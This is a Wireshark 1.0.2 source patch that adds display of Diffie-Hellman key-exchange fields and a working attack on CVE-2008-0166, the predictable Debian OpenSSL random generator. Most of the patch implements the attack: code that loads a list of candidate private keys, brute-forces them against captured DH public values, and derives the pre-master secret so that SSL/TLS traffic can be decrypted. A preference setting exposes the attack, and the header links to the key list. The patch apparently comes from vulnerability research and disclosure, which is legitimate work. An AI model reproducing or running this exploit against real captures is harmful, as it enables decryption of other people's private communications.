## credits: ## - Paolo Abeni ## - Luciano Bello ## - Maximiliano Bertacchini ## sended to https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=2725 ## ## This patch extends the SSL-dissector, attacking CVE-2008-0166 (aka. DSA 1571-1, ## or predictable OpenSSL PRNG) by brute forcing the limited Ephemeral DH key ## space during the SSL/TLS Handshake Key Exchange. It also implements the display ## of public DH parameters in the packet tree. ## ## A list of all 2^15 possible 64 and 128 bit DH private keys can be downloaded ## from: http://www.citefa.gov.ar/si6/dh-private-keys.tar.gz ## ## It should be configured in 'Preferences -> Protocols -> SSL -> Key list to ## attack CVE-2008-0166'. diff -urNad wireshark-1.0.2~/epan/dissectors/packet-ssl-utils.c wireshark-1.0.2/epan/dissectors/packet-ssl-utils.c --- wireshark-1.0.2~/epan/dissectors/packet-ssl-utils.c 2008-07-18 13:12:07.000000000 -0300 +++ wireshark-1.0.2/epan/dissectors/packet-ssl-utils.c 2008-07-19 16:25:56.000000000 -0300 @@ -562,10 +562,33 @@ str->data_len = len; } +void +ssl_get_se_data(tvbuff_t *tvb, gint offset, guint len, StringInfo* buf) +{ + buf->data = se_alloc(len); + buf->data_len = len; + tvb_memcpy(tvb, buf->data, offset, len); +} + #ifdef HAVE_LIBGNUTLS static gint ver_major, ver_minor, ver_patch; +static void +ssl_debug_mpi(const char* msg, gcry_mpi_t key) +{ +#ifdef SSL_DECRYPT_DEBUG + gcry_error_t err; + unsigned char h_p[4096]; + err=gcry_mpi_print(GCRYMPI_FMT_HEX, h_p, 4096, NULL, key); + + if (err == 0) + ssl_debug_printf("%s %s\n", msg,h_p); + else + ssl_debug_printf("%s \n", msg); +#endif +} + /* hmac abstraction layer */ #define SSL_HMAC gcry_md_hd_t @@ -709,14 +732,23 @@ gint gcry_modes[]={GCRY_CIPHER_MODE_STREAM,GCRY_CIPHER_MODE_CBC}; gint err; err = gcry_cipher_open(cipher, algo, gcry_modes[mode], 0); - if (err !=0) + if (err !=0) { + ssl_debug_printf("ssl_cipher_init(): can't open cipher %d mode %d(%d): %s\n", + algo, gcry_modes[mode], mode, gcry_strerror(err)); return -1; + } err = gcry_cipher_setkey(*(cipher), sk, gcry_cipher_get_algo_keylen (algo)); - if (err != 0) + if (err != 0) { + ssl_debug_printf("ssl_cipher_init(): can't set private key (keylen%d): %s\n", + gcry_cipher_get_algo_keylen (algo), gcry_strerror(err)); return -1; + } err = gcry_cipher_setiv(*(cipher), iv, gcry_cipher_get_algo_blklen (algo)); - if (err != 0) + if (err != 0) { + ssl_debug_printf("ssl_cipher_init(): can't set iv (blocklen %d): %s\n", + gcry_cipher_get_algo_blklen (algo), gcry_strerror(err)); return -1; + } return 0; } static inline gint @@ -751,6 +783,54 @@ _gcry_rsa_decrypt (int algo, gcry_mpi_t *result, gcry_mpi_t *data, gcry_mpi_t *skey, gint flags); +static int +ssl_get_pre_master(guint len, guchar* pre_master, gcry_mpi_t text, int strip) +{ + guint i, offset, mpi_len; + guchar* pre_master_ptr; + gcry_error_t err; + + if ((err = gcry_mpi_print( GCRYMPI_FMT_USG, 0, 0, &mpi_len, text)) != 0) { + ssl_debug_printf("ssl_get_pre_master: can't get pre master secret len: %s", + gcry_strerror(err)); + return 0; + } + + /* sanity check on out buffer */ + if (mpi_len > len) { + ssl_debug_printf("ssl_get_pre_master: pre master data is too long ?!? (%d max %d)\n", + mpi_len, len); + return 0; + } + + /* write plain text to newly allocated buffer */ + pre_master_ptr = pre_master; + if ((err = gcry_mpi_print( GCRYMPI_FMT_USG, pre_master_ptr, len, &mpi_len, + text)) != 0) { + ssl_debug_printf("ssl_get_pre_master: can't print decr data to mpi (size %d):%s\n", + mpi_len, gcry_strerror(err)); + return 0; + } + + /* strip the padding*/ + offset = 0; + if (strip) { + for (i = 1; i < mpi_len; i++) { + if (pre_master_ptr[i] == 0) { + offset = i+1; + break; + } + } + + ssl_debug_printf("ssl_get_pre_master: stripping %d bytes, decr_len %d\n", + offset, mpi_len); + ssl_print_data("unstrip_pre_master", pre_master_ptr, mpi_len); + g_memmove(pre_master_ptr, &pre_master_ptr[offset], mpi_len - offset); + } + ssl_print_data("striped_pre_master", pre_master_ptr, mpi_len - offset); + return mpi_len - offset; +} + #define PUBKEY_FLAG_NO_BLINDING (1 << 0) /* decrypt data with private key. Store decrypted data directly into input @@ -843,39 +923,13 @@ out: gcry_sexp_release(s_plain); #else /* SSL_FAST */ - rc = _gcry_rsa_decrypt(0, &text, &encr_mpi, pk,0); - gcry_mpi_print( GCRYMPI_FMT_USG, 0, 0, &decr_len, text); - - /* sanity check on out buffer */ - if (decr_len > len) { - ssl_debug_printf("pcry_private_decrypt: decrypted data is too long ?!? (%d max %d)\n", - decr_len, len); - return 0; - } - - /* write plain text to newly allocated buffer */ - decr_data_ptr = encr_data; - if (gcry_mpi_print( GCRYMPI_FMT_USG, decr_data_ptr, decr_len, &decr_len, - text) != 0) { - ssl_debug_printf("pcry_private_decrypt: can't print decr data to mpi (size %d):%s\n", - decr_len, gcry_strerror(rc)); - return 0; - } - - /* strip the padding*/ - rc = 0; - for (i = 1; i < decr_len; i++) { - if (decr_data_ptr[i] == 0) { - rc = i+1; - break; - } + if ((rc = _gcry_rsa_decrypt(0, &text, &encr_mpi, pk,0)) != 0) { + ssl_debug_printf("ssl_private_decrypt failed: rsa decrypt error %s\n", + gcry_strerror (rc)); + decr_len = 0; } - - ssl_debug_printf("pcry_private_decrypt: stripping %d bytes, decr_len %d\n", - rc, decr_len); - ssl_print_data("decrypted_unstrip_pre_master", decr_data_ptr, decr_len); - g_memmove(decr_data_ptr, &decr_data_ptr[rc], decr_len - rc); - decr_len -= rc; + else + decr_len = ssl_get_pre_master(len, encr_data, text, 1); #endif /* SSL_FAST */ gcry_mpi_release(text); return decr_len; @@ -955,6 +1009,7 @@ {27,KEX_DH,SIG_NONE,ENC_3DES,8,192,192,DIG_MD5,16,0, SSL_CIPHER_MODE_STREAM}, {47,KEX_RSA,SIG_RSA,ENC_AES,16,128,128,DIG_SHA,20,0, SSL_CIPHER_MODE_CBC}, {53,KEX_RSA,SIG_RSA,ENC_AES256,16,256,256,DIG_SHA,20,0, SSL_CIPHER_MODE_CBC}, + {57,KEX_DH, SIG_RSA,ENC_AES256,16,256,256,DIG_SHA,20,0, SSL_CIPHER_MODE_CBC}, {96,KEX_RSA,SIG_RSA,ENC_RC4,1,128,56,DIG_MD5,16,1, SSL_CIPHER_MODE_STREAM}, {97,KEX_RSA,SIG_RSA,ENC_RC2,1,128,56,DIG_MD5,16,1, SSL_CIPHER_MODE_STREAM}, {98,KEX_RSA,SIG_RSA,ENC_DES,8,64,64,DIG_SHA,20,1, SSL_CIPHER_MODE_STREAM}, @@ -997,7 +1052,6 @@ ptr=out->data; left=out->data_len; - ssl_print_string("tls_hash: hash secret", secret); ssl_print_string("tls_hash: hash seed", seed); A=seed->data; @@ -2177,6 +2231,131 @@ sscanf(str, "%d.%d.%d", &ver_major, &ver_minor, &ver_patch); } +GList* +ssl_load_priv_candidates(FILE* fp) +{ + char each_key[1024]; + char *end; + gcry_mpi_t priv_candidate; + GList *list = NULL; + gcry_error_t err; + + /* each line must contain an ex number */ + while(fgets(each_key,sizeof(each_key),fp)) { + end=strchr(each_key,'\n'); + if (end) + *end='\0'; + err=gcry_mpi_scan(&priv_candidate,GCRYMPI_FMT_HEX,(unsigned char *)each_key,0,NULL); + if (err != 0) + ssl_debug_printf ("ssl_load_priv_candidates: can't make private key from %s\n", each_key); + else + list = g_list_append(list, priv_candidate); + } + return list; +} + +static void free_mpi(void* mpi, void* unused _U_) +{ + gcry_mpi_release((gcry_mpi_t) mpi); +} +void +ssl_free_candidates(GList* priv_candidates) +{ + g_list_foreach(priv_candidates, free_mpi, NULL); + g_list_free(priv_candidates); +} + +static gcry_error_t +string_to_mpi(StringInfo* str, gcry_mpi_t* mpi) +{ + return gcry_mpi_scan(mpi, GCRYMPI_FMT_USG, (unsigned char *) str->data, + str->data_len,NULL); +} + +static gint +ssl_set_pre_master_secret(SslDecryptSession* ssl, gcry_mpi_t pMS, guint max_pre_master_len) +{ + /* allocate and extract the pre master secret in USG format */ + ssl->pre_master_secret.data = se_alloc(max_pre_master_len); + ssl->pre_master_secret.data_len = max_pre_master_len; + if (ssl_get_pre_master(ssl->pre_master_secret.data_len, ssl->pre_master_secret.data, pMS, 0) == 0) + return -1; + + /* Remove the master secret if it was there. + This force keying material regeneration in + case we're renegotiating */ + ssl->state &= ~(SSL_MASTER_SECRET|SSL_HAVE_SESSION_KEY); + return 0; +} + +gint +ssl_cve_2008_0166_attack(GList* priv_candidates, SslDecryptSession* ssl) +{ + gcry_mpi_t pub_candidate, g, p, pub_client, pub_server, pMS; + GList* cur; + gint ret = -1; + + if (!priv_candidates || !ssl->dh_params.pub_client.data_len || + !ssl->dh_params.pub_server.data_len || !ssl->dh_params.p.data_len || + !ssl->dh_params.g.data_len ) + return ret; + + /* safely allocate all required mpi */ + if ((pMS = gcry_mpi_new(0)) == NULL) + goto out; + if ((pub_candidate = gcry_mpi_new(0)) == NULL) + goto free_pMS; + if (string_to_mpi(&(ssl->dh_params.pub_client), &pub_client) != 0) + goto free_pub_candidate; + if (string_to_mpi(&(ssl->dh_params.pub_server), &pub_server) != 0) + goto free_pub_client; + if (string_to_mpi(&(ssl->dh_params.g), &g) != 0) + goto free_pub_server; + if (string_to_mpi(&(ssl->dh_params.p), &p) != 0) + goto free_g; + + ssl_debug_printf("cve_2008_0166 attack: brute-forcing starting\n"); + /* TODO ask for the key lenght before try */ + for (cur = g_list_first(priv_candidates); cur; cur = g_list_next(cur)) { + + gcry_mpi_t priv_candidate = (gcry_mpi_t) cur->data; + + /* breaking the client's secret */ + gcry_mpi_powm(pub_candidate, g, priv_candidate, p); + if (gcry_mpi_cmp(pub_client,pub_candidate)==0) { + ssl_debug_mpi("cve_2008_0166 attack, found secret! the client's key is:", + priv_candidate); + + gcry_mpi_powm(pMS, pub_server, priv_candidate, p); + ret = ssl_set_pre_master_secret(ssl, pMS, ssl->dh_params.pub_client.data_len); + break; + } + + /* breaking the server's secret */ + if (gcry_mpi_cmp(pub_server,pub_candidate)==0) { + ssl_debug_mpi("cve_2008_0166 attack, found secret! the server's key is:",priv_candidate); + + gcry_mpi_powm(pMS, pub_client, priv_candidate, p); + ret = ssl_set_pre_master_secret(ssl, pMS, ssl->dh_params.pub_client.data_len); + break; + } + } + + gcry_mpi_release(p); +free_g: + gcry_mpi_release(g); +free_pub_server: + gcry_mpi_release(pub_server); +free_pub_client: + gcry_mpi_release(pub_client); +free_pub_candidate: + gcry_mpi_release(pub_candidate); +free_pMS: + gcry_mpi_release(pMS); +out: + return ret; +} + #else /* HAVE_LIBGNUTLS */ /* no libgnutl: dummy operation to keep interface consistent*/ void @@ -2249,6 +2428,24 @@ return 0; } +GList* +ssl_load_priv_candidates(FILE* fp) +{ + return NULL; +} + +void +ssl_free_candidates(GList* priv_candidates) +{ + return; +} + +gint +ssl_cve_2008_0166_attack(GList* priv_candidates, SslDecryptSession* ssl) +{ + return 0; +} + #endif /* HAVE_LIBGNUTLS */ /* get ssl data for this session. if no ssl data is found allocate a new one*/ @@ -2269,6 +2466,11 @@ ssl_session->client_data_for_iv.data = ssl_session->_client_data_for_iv; ssl_session->app_data_segment.data=NULL; ssl_session->app_data_segment.data_len=0; + + ssl_session->dh_params.p.data_len = 0; + ssl_session->dh_params.g.data_len = 0; + ssl_session->dh_params.pub_server.data_len = 0; + ssl_session->dh_params.pub_client.data_len = 0; } /* Hash Functions for TLS/DTLS sessions table and private keys table*/ diff -urNad wireshark-1.0.2~/epan/dissectors/packet-ssl-utils.h wireshark-1.0.2/epan/dissectors/packet-ssl-utils.h --- wireshark-1.0.2~/epan/dissectors/packet-ssl-utils.h 2008-07-10 14:39:24.000000000 -0300 +++ wireshark-1.0.2/epan/dissectors/packet-ssl-utils.h 2008-07-19 16:25:56.000000000 -0300 @@ -278,6 +278,14 @@ SslRecordInfo* handshake_data; } SslPacketInfo; +typedef struct { + /* all this stringinfos must be allocated explicitly with a capture lifetime scope */ + StringInfo p; + StringInfo g; + StringInfo pub_server; + StringInfo pub_client; +} DhParams; + typedef struct _SslDecryptSession { guchar _master_secret[48]; guchar _session_id[256]; @@ -306,6 +314,7 @@ guint16 version_netorder; StringInfo app_data_segment; + DhParams dh_params; } SslDecryptSession; typedef struct _SslAssociation { @@ -338,7 +347,7 @@ extern void ssl_session_init(SslDecryptSession* ssl); -/** set the data and len for the stringInfo buffer. buf should be big enough to +/** set the data and len for the stringInfo buffer. buf must be big enough to * contain the provided data @param buf the buffer to update @param src the data source @@ -346,6 +355,15 @@ extern void ssl_data_set(StringInfo* buf, const guchar* src, guint len); +/** extract len bytes from the provided tvbuff and copy them into buf. The + * data store is allocated with capture lifetime + @param tvb the data source + @param offset the data offset + @param len the data lenght + @param buf the data store */ +extern void +ssl_get_se_data(tvbuff_t *tvb, gint offset, guint len, StringInfo* buf); + extern gint ssl_cipher_setiv(SSL_CIPHER_CTX *cipher, guchar* iv, gint iv_len); @@ -402,6 +420,25 @@ ssl_decrypt_record(SslDecryptSession*ssl,SslDecoder* decoder, gint ct, const guchar* in, guint inl, StringInfo* comp_str, StringInfo* out_str, guint* outl); +/* cve_2008_0166 related */ +/* load candidates private key list from file + @param fp file pointer to load the keys from + @return the loaded keys list or 0 on failure */ +extern GList* +ssl_load_priv_candidates(FILE* fp); + +/* Deallocate the candidate private key list loaded with ssl_load_priv_candidates + @param priv_candidates the list to be freed */ +extern void +ssl_free_candidates(GList* priv_candidates); + +/* try cve_2008_0166 attack against DH params + @param priv_candidates list of candidate private keys to be used + @param ssl the ssl session status + @param priv the decripted private key + @return 0 on success */ +extern gint +ssl_cve_2008_0166_attack(GList* priv_candidates, SslDecryptSession* ssl); /* Common part bitween SSL and DTLS dissectors */ /* Hash Functions for TLS/DTLS sessions table and private keys table */ diff -urNad wireshark-1.0.2~/epan/dissectors/packet-ssl.c wireshark-1.0.2/epan/dissectors/packet-ssl.c --- wireshark-1.0.2~/epan/dissectors/packet-ssl.c 2008-07-10 14:39:26.000000000 -0300 +++ wireshark-1.0.2/epan/dissectors/packet-ssl.c 2008-07-19 16:30:00.000000000 -0300 @@ -175,6 +175,15 @@ static gint hf_ssl_handshake_cert_types_count = -1; static gint hf_ssl_handshake_cert_types = -1; static gint hf_ssl_handshake_cert_type = -1; + +/* key exchange infos */ +static gint hf_ssl_handshake_key_exchg_dh_p_len = -1; +static gint hf_ssl_handshake_key_exchg_dh_p = -1; +static gint hf_ssl_handshake_key_exchg_dh_g_len = -1; +static gint hf_ssl_handshake_key_exchg_dh_g = -1; +static gint hf_ssl_handshake_key_exchg_dh_Ys_len = -1; +static gint hf_ssl_handshake_key_exchg_dh_Ys = -1; + static gint hf_ssl_handshake_finished = -1; static gint hf_ssl_handshake_md5_hash = -1; static gint hf_ssl_handshake_sha_hash = -1; @@ -264,6 +273,8 @@ static gint ssl_decrypted_data_avail = 0; static gchar* ssl_keys_list = NULL; +static gchar* ssl_cve_2008_0166_keys_list = NULL; +static GList* ssl_cve_2008_0166_candidate_list = NULL; #if defined(SSL_DECRYPT_DEBUG) || defined(HAVE_LIBGNUTLS) static gchar* ssl_debug_file_name = NULL; @@ -307,6 +318,7 @@ ep_stack_t tmp_stack; SslAssociation *tmp_assoc; FILE *ssl_keys_file; + FILE *ssl_cve_2008_0166_keys_file; struct stat statb; size_t size; gchar *tmp_buf; @@ -320,6 +332,11 @@ g_hash_table_foreach(ssl_key_hash, ssl_private_key_free, NULL); g_hash_table_destroy(ssl_key_hash); } + if (ssl_cve_2008_0166_candidate_list) + { + ssl_free_candidates(ssl_cve_2008_0166_candidate_list); + ssl_cve_2008_0166_candidate_list = NULL; + } /* remove only associations created from key list */ tmp_stack = ep_stack_new(); @@ -328,6 +345,24 @@ ssl_association_remove(ssl_associations, tmp_assoc); } + /* if we have a candidate private key list we will try to brute force + * the ssl session first */ + if (ssl_cve_2008_0166_keys_list && (ssl_cve_2008_0166_keys_list[0] != 0)) + { + if (file_exists(ssl_cve_2008_0166_keys_list)) { + if (!(ssl_cve_2008_0166_keys_file = eth_fopen(ssl_cve_2008_0166_keys_list, "r"))) { + ssl_debug_printf("\n %s this file cannot be opened \n ", ssl_cve_2008_0166_keys_list); + /* report_open_failure(ssl_cve_2008_0166_keys_list, errno, FALSE); */ + } else { + ssl_cve_2008_0166_candidate_list = ssl_load_priv_candidates(ssl_cve_2008_0166_keys_file); + fclose(ssl_cve_2008_0166_keys_file); + } + } else { + /* TODO not implemented, the input is always a file. */ + ssl_debug_printf("\n file %s does not exists \n ", ssl_cve_2008_0166_keys_list); + } + } + /* parse private keys string, load available keys and put them in key hash*/ ssl_key_hash = g_hash_table_new(ssl_private_key_hash,ssl_private_key_equal); @@ -355,7 +390,7 @@ ssl_parse_key_list(ssl_keys_list,ssl_key_hash,ssl_associations,ssl_handle,TRUE); } } - ssl_debug_flush(); + ssl_debug_flush(); } /********************************************************************* @@ -417,6 +452,13 @@ guint32 offset, guint* conv_version); +static void dissect_ssl3_hnd_key_exchg(tvbuff_t *tvb, proto_tree *tree, + guint32 offset, SslDecryptSession* ssl); + +static void dissect_ssl3_hnd_key_client_exchg(tvbuff_t *tvb, proto_tree *tree, + guint32 offset, + SslDecryptSession * ssl); + /* * SSL version 2 dissectors @@ -1842,7 +1884,8 @@ break; case SSL_HND_SERVER_KEY_EXCHG: - /* unimplemented */ + /* CITEFA/SI6 */ + dissect_ssl3_hnd_key_exchg(tvb, ssl_hand_tree, offset, ssl); break; case SSL_HND_CERT_REQUEST: @@ -1866,6 +1909,7 @@ encrlen = length; skip = 0; + dissect_ssl3_hnd_key_client_exchg(tvb, ssl_hand_tree, offset, ssl); if (!ssl) break; @@ -1879,6 +1923,8 @@ break; } + /*brute force cve 2008-0166*/ + if (ssl_cve_2008_0166_attack(ssl_cve_2008_0166_candidate_list, ssl) != 0) { /* get encrypted data, on tls1 we have to skip two bytes * (it's the encrypted len and should be equal to record len - 2) */ @@ -1909,6 +1955,7 @@ ssl_debug_printf("dissect_ssl3_handshake can't decrypt pre master secret\n"); break; } + } if (ssl_generate_keyring_material(ssl)<0) { ssl_debug_printf("dissect_ssl3_handshake can't generate keyring material\n"); break; @@ -2238,8 +2285,8 @@ } ssl->state |= SSL_CIPHER; - ssl_debug_printf("dissect_ssl3_hnd_srv_hello found CIPHER 0x%04X -> state 0x%02X\n", - ssl->cipher, ssl->state); + ssl_debug_printf("dissect_ssl3_hnd_srv_hello found CIPHER 0x%04X -> state 0x%02X" + " trying to generate keys\n", ssl->cipher, ssl->state); /* if we have restored a session now we can have enought material * to build session key, check it out*/ @@ -2284,6 +2331,120 @@ } static void +dissect_ssl3_hnd_key_client_exchg(tvbuff_t *tvb, proto_tree *tree, + guint32 offset, SslDecryptSession * ssl) +{ + /* enum { implicit, explicit } PublicValueEncoding; + + implicit If the client certificate already contains the + public value, then it is implicit and Yc does + not need to be sent again. + explicit Yc needs to be sent. + + struct { + select (PublicValueEncoding) { + case implicit: struct { }; + case explicit: opaque dh_Yc<1..2^16-1>; + } dh_public; + } ClientDiffieHellmanPublic; + + dh_Yc The client's Diffie-Hellman public value (Yc). + */ + guint32 dh_Yc_length; + + if (tree) { + /* Yc */ + dh_Yc_length = tvb_get_ntohs(tvb, offset); + proto_tree_add_uint(tree, hf_ssl_handshake_key_exchg_dh_Ys_len, + tvb, offset, 2, dh_Yc_length); + + /* 16-bit length value */ + offset += 2; + proto_tree_add_item(tree, hf_ssl_handshake_key_exchg_dh_Ys, + tvb, offset, dh_Yc_length, FALSE); + + if (ssl) { + ssl_get_se_data(tvb, offset, dh_Yc_length, &(ssl->dh_params.pub_client)); + ssl_print_string("dissect_ssl3_hnd_key_client_exchg client public key", + &(ssl->dh_params.pub_client)); + } + + offset += dh_Yc_length; + } +} + +static void +dissect_ssl3_hnd_key_exchg(tvbuff_t *tvb, proto_tree *tree, guint32 offset, + SslDecryptSession * ssl) +{ + /* + struct { + opaque dh_p<1..2^16-1>; + opaque dh_g<1..2^16-1>; + opaque dh_Ys<1..2^16-1>; + } ServerDHParams; // Ephemeral DH parameters + */ + guint32 dh_p_length; + guint32 dh_g_length; + guint32 dh_Ys_length; + + if (tree) { + /* P */ + dh_p_length = tvb_get_ntohs(tvb, offset); + proto_tree_add_uint(tree, hf_ssl_handshake_key_exchg_dh_p_len, + tvb, offset, 2, dh_p_length); + + /* 16-bit length value */ + offset += 2; + proto_tree_add_item(tree, hf_ssl_handshake_key_exchg_dh_p, + tvb, offset, dh_p_length, FALSE); + if (ssl) { + ssl_get_se_data(tvb,offset,dh_p_length, &(ssl->dh_params.p)); + ssl_print_string("dissect_ssl3_hnd_key_exchg: DH prime number ", + &(ssl->dh_params.p)); + } + + offset += dh_p_length; + /* G */ + dh_g_length = tvb_get_ntohs(tvb, offset); + proto_tree_add_uint(tree, hf_ssl_handshake_key_exchg_dh_g_len, + tvb, offset, 2, dh_g_length); + + /* 16-bit length value */ + offset += 2; + proto_tree_add_item(tree, hf_ssl_handshake_key_exchg_dh_g, + tvb, offset, dh_g_length, FALSE); + + if (ssl) { + ssl_get_se_data(tvb,offset,dh_g_length, &(ssl->dh_params.g)); + ssl_print_string("dissect_ssl3_hnd_key_exchg: DH generator", + &(ssl->dh_params.g)); + } + + offset += dh_g_length; + + /* Ys */ + dh_Ys_length = tvb_get_ntohs(tvb, offset); + proto_tree_add_uint(tree, hf_ssl_handshake_key_exchg_dh_Ys_len, + tvb, offset, 2, dh_Ys_length); + + /* 16-bit length value */ + offset += 2; + proto_tree_add_item(tree, hf_ssl_handshake_key_exchg_dh_Ys, + tvb, offset, dh_Ys_length, FALSE); + + if (ssl) { + ssl_get_se_data(tvb,offset,dh_Ys_length, &(ssl->dh_params.pub_server)); + ssl_print_string("dissect_ssl3_hnd_key_exchg: server public key ", + &(ssl->dh_params.pub_server)); + } + + offset += dh_Ys_length; + /* TODO: dissect the remaning fields */ + } +} + +static void dissect_ssl3_hnd_cert(tvbuff_t *tvb, proto_tree *tree, guint32 offset, packet_info *pinfo) { @@ -4298,6 +4459,36 @@ FT_NONE, BASE_NONE, NULL , 0x0, "PCT Server Certificate", HFILL } }, + { &hf_ssl_handshake_key_exchg_dh_p_len, + { "Diffie-Hellman Prime Modulus Length", "ssl.handshake.dh_p_length", + FT_UINT16, BASE_DEC, NULL, 0x0, + "Length of prime modulus field", HFILL } + }, + { &hf_ssl_handshake_key_exchg_dh_p, + { "Diffie-Hellman Prime Modulus", "ssl.handshake.dh_p", + FT_BYTES, 0, NULL, 0x0, + "Prime modulus field (p)", HFILL } + }, + { &hf_ssl_handshake_key_exchg_dh_g_len, + { "Diffie-Hellman Generator Length", "ssl.handshake.dh_g_length", + FT_UINT16, BASE_DEC, NULL, 0x0, + "Length of generator field", HFILL } + }, + { &hf_ssl_handshake_key_exchg_dh_g, + { "Diffie-Hellman Generator", "ssl.handshake.dh_g", + FT_BYTES, 0, NULL, 0x0, + "Generator field (g)", HFILL } + }, + { &hf_ssl_handshake_key_exchg_dh_Ys_len, + { "Diffie-Hellman Public Value Length", "ssl.handshake.dh_Ys_length", + FT_UINT16, BASE_DEC, NULL, 0x0, + "Length of public value field", HFILL } + }, + { &hf_ssl_handshake_key_exchg_dh_Ys, + { "Diffie-Hellman Public Value", "ssl.handshake.dh_Ys", + FT_BYTES, 0, NULL, 0x0, + "Public Value field (Ys)", HFILL } + }, { &hf_ssl_segment_overlap, { "Segment overlap", "ssl.segment.overlap", FT_BOOLEAN, BASE_NONE, NULL, 0x0, "Segment overlaps with other segments", HFILL }}, @@ -4381,6 +4572,12 @@ " is the local file name of the RSA private key used by the specified server " "(or name of the file containing such a list)", (const gchar **)&ssl_keys_list); + prefs_register_string_preference(ssl_module, "cve_2008_0166_keys_list", + "Key list to attack CVE-2008-0166", + "File containing a list of candidate exponents to be used as DH priv keys" + "(only works when any of the parties is vulnerable to CVE-2008-0166)", + (const gchar **)&ssl_cve_2008_0166_keys_list); + prefs_register_string_preference(ssl_module, "debug_file", "SSL debug file", "redirect ssl debug to file name; leave empty to disable debug, " "use \"" SSL_DEBUG_USE_STDERR "\" to redirect output to stderr\n",